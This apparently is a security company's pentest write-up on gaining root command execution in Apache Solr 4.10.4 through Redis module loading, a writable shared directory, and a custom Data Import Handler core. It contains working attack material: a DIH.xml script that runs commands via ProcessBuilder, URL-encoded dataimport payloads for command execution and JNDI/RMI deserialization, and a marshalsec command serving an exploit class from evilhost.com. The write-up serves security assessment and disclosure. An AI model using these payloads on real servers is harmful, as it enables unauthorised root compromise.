One of the services Wallarm offers today are Pentest Audits. Our team has met a new challenging task at a recent project: penetration test & usage for Apache Solr V4.10.4. We want to use this blog to describe the way we have identified vulnerability & managed to execute commands with root privileges. Hope that it will help DevOps teams & sysadmins with Apache Solr deployment & to protect their data.

While working on a new project, I encountered the following configuration:

  1. HTTP server NGINX+PHP-FPM
  2. Redis
  3. Apache-Solr
  4. MySQL

The entire technology suite was stored in the Amazon cloud—in separate Docker containers for each service. Meanwhile, because of the directory mounted to other containers, one could raise privileges in any container. 

Step 1:

Exploiting the known open access vulnerability which enabled us to load a module in Redis (the PoC of this vulnerability can be found here https://github.com/n0b0dyCN/redis-rogue-server). As a result, we could execute an arbitrary code with the redis user rights, but this was not enough. At that time, the operating system kernel was up-to-date. Hence, we needed to look for alternative ways of obtaining privileges. Noting the /var/www/* directory, we assumed it was mounted in several containers. It contained the files of the root and www-data users, as well as an empty directory with write permissions for all users.

Step 2:

After examining the source code of the www-data application, we found an arbitrary code execution vulnerability that didn’t, however, bring us any closer to elevating privileges on the system. Please note that python, ruby, curl, wget, and even ping were not preinstalled on the system. The back connect used Perl which lacked many useful modules. We also checked access to security-credentials in the meta-data of the Amazon cloud, but there were no open keys.

Step 3:

We began to explore Apache Solr (an open source full-text search platform, much like Elastic Search). It turned out to have a number of arbitrary code vulnerabilities.

First, I checked which user was running the service:

GET /solr/admin/info/properties

Solr was run as root. Great!

Now we just needed to execute an arbitrary code. So we checked the service version.

GET /solr/admin/info/system

The version was quite old: 4.10.4.

After reading the research https://github.com/veracode-research/solr-injection, we found that many exploitation techniques for these vulnerabilities were designed for later versions. But nothing prevented us from checking if they worked on earlier versions as well.

We started with the arbitrary code execution through the Data Import Handler. Unfortunately, Data Import returned the message “sorry, no dataimport-handler defined!

Then, recalling the mounted /var/www/* directory and the empty directory with write permissions for all, I decided to bring the solr configuration files and try to get access to data import by adding it through Core admin.

It turned out that our Solr did not have Data Import JAR libraries at all. Therefore, we downloaded the solr package of the same version and got the libraries from there. Then we loaded it into /var/www/redacted (that writable directory) and made a copy of the solr package configuration adding the solrconfig.xml file.

<lib dir="/var/www/redacted/" regex="solr-dataimporthandler-.*\.jar" />
….
<requestHandler name="/dataimport" class="solr.DataImportHandler">
  <lst name="defaults">
    <str name="config">./DIH.xml</str>
  </lst>
</requestHandler>
  <requestHandler name="/select" class="solr.SearchHandler">

Finally, we created the DIH.xml file

<dataConfig>
  <dataSource type="URLDataSource"/>
<script><![CDATA[function f1(data){new java.lang.ProcessBuilder["(java.lang.String[])"](["cmd"]).start()}]]></script>
  <document>
    <entity name="xx"
            url="http://localhost:8983/solr/admin/info/system"
            processor="XPathEntityProcessor"
            forEach="/response"
            transformer="HTMLStripTransformer,RegexTransformer,script:f1">
    </entity>
  </document>
</dataConfig>

where cmd was the command we wanted to execute. 

Step 4:

To load configuration files correctly, we need to create the conf directory: it will be /var/www/redacted/conf in our case. Next, we copy the content of the current configuration with the modified solrconfig.xml and DIH.xml files to it. 

We also move solr-dataimporthandler-4.10.4.jar andsolr-dataimporthandler-extras-4.10.4.jar to /var/www/redacted/.

It should look like this: 

/var/www/redacted/solr-dataimporthandler-4.10.4.jar
/var/www/redacted/solr-dataimporthandler-extras-4.10.4.jar
/var/www/redacted/conf/solrconfig.xml
/var/www/redacted/conf/….
 (other configuration files that have not been edited)

Now we can try to add New Core

The New Core was successfully added:

Data Import is successfully added and works too!

Now we can use two vectors to execute commands:

  1. Executing directly through Data Import Handler
GET /solr/db/dataimport?command=full-import&dataConfig=%3c%64%61%74%61%43%6f%6e%66%69%67%3e%0d%0a%20%20%3c%64%61%74%61%53%6f%75%72%63%65%20%74%79%70%65%3d%22%55%52%4c%44%61%74%61%53%6f%75%72%63%65%22%2f%3e%0d%0a%3c%73%63%72%69%70%74%3e%3c%21%5b%43%44%41%54%41%5b%66%75%6e%63%74%69%6f%6e%20%66%31%28%64%61%74%61%29%7b%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%50%72%6f%63%65%73%73%42%75%69%6c%64%65%72%5b%22%28%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%5b%5d%29%22%5d%28%5b%22%2f%62%69%6e%2f%73%68%22%2c%22%2d%63%22%2c%22%63%75%72%6c%20%31%32%37%2e%30%2e%30%2e%31%3a%38%39%38%34%2f%78%78%78%22%5d%29%2e%73%74%61%72%74%28%29%7d%5d%5d%3e%3c%2f%73%63%72%69%70%74%3e%0d%0a%20%20%3c%64%6f%63%75%6d%65%6e%74%3e%0d%0a%20%20%20%20%3c%65%6e%74%69%74%79%20%6e%61%6d%65%3d%22%78%78%22%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%75%72%6c%3d%22%68%74%74%70%3a%2f%2f%6c%6f%63%61%6c%68%6f%73%74%3a%38%39%38%33%2f%73%6f%6c%72%2f%61%64%6d%69%6e%2f%69%6e%66%6f%2f%73%79%73%74%65%6d%22%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%70%72%6f%63%65%73%73%6f%72%3d%22%58%50%61%74%68%45%6e%74%69%74%79%50%72%6f%63%65%73%73%6f%72%22%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%66%6f%72%45%61%63%68%3d%22%2f%72%65%73%70%6f%6e%73%65%22%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%74%72%61%6e%73%66%6f%72%6d%65%72%3d%22%48%54%4d%4c%53%74%72%69%70%54%72%61%6e%73%66%6f%72%6d%65%72%2c%52%65%67%65%78%54%72%61%6e%73%66%6f%72%6d%65%72%2c%73%63%72%69%70%74%3a%66%31%22%3e%0d%0a%20%20%20%20%3c%2f%65%6e%74%69%74%79%3e%0d%0a%20%20%3c%2f%64%6f%63%75%6d%65%6e%74%3e%0d%0a%3c%2f%64%61%74%61%43%6f%6e%66%69%67%3e
  1. Executing through deserialization in RMI
GET /solr/db/dataimport?command=full-import&dataConfig=%3c%64%61%74%61%43%6f%6e%66%69%67%3e%0d%0a%20%20%3c%64%61%74%61%53%6f%75%72%63%65%20%74%79%70%65%3d%22%4a%64%62%63%44%61%74%61%53%6f%75%72%63%65%22%20%64%72%69%76%65%72%3d%22%63%6f%6d%2e%73%75%6e%2e%72%6f%77%73%65%74%2e%4a%64%62%63%52%6f%77%53%65%74%49%6d%70%6c%22%20%6a%6e%64%69%4e%61%6d%65%3d%22%72%6d%69%3a%2f%2f%6c%6f%63%61%6c%68%6f%73%74%3a%36%30%36%30%2f%78%78%78%22%20%61%75%74%6f%43%6f%6d%6d%69%74%3d%22%74%72%75%65%22%2f%3e%0d%0a%20%20%3c%64%6f%63%75%6d%65%6e%74%3e%0d%0a%20%20%20%20%3c%65%6e%74%69%74%79%20%6e%61%6d%65%3d%22%78%78%22%3e%0d%0a%20%20%20%20%3c%2f%65%6e%74%69%74%79%3e%0d%0a%20%20%3c%2f%64%6f%63%75%6d%65%6e%74%3e%0d%0a%3c%2f%64%61%74%61%43%6f%6e%66%69%67%3e

To exploit RMI, we will need marshalsec (https://github.com/mbechler/marshalsec), which is executed by running the command java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://evilhost.com/#Exploit .

http://evilhost.com/ should contain a compiled Java file Exploit.class with the code that we want to execute on the server.

The goal is achieved: we can execute commands with root privileges! There are probably much easier methods, but I wanted to try this one exactly, because it seemed to be the most interesting one.

You can request your Penetration Services & Security Audit with Wallarm at sales@wallarm.com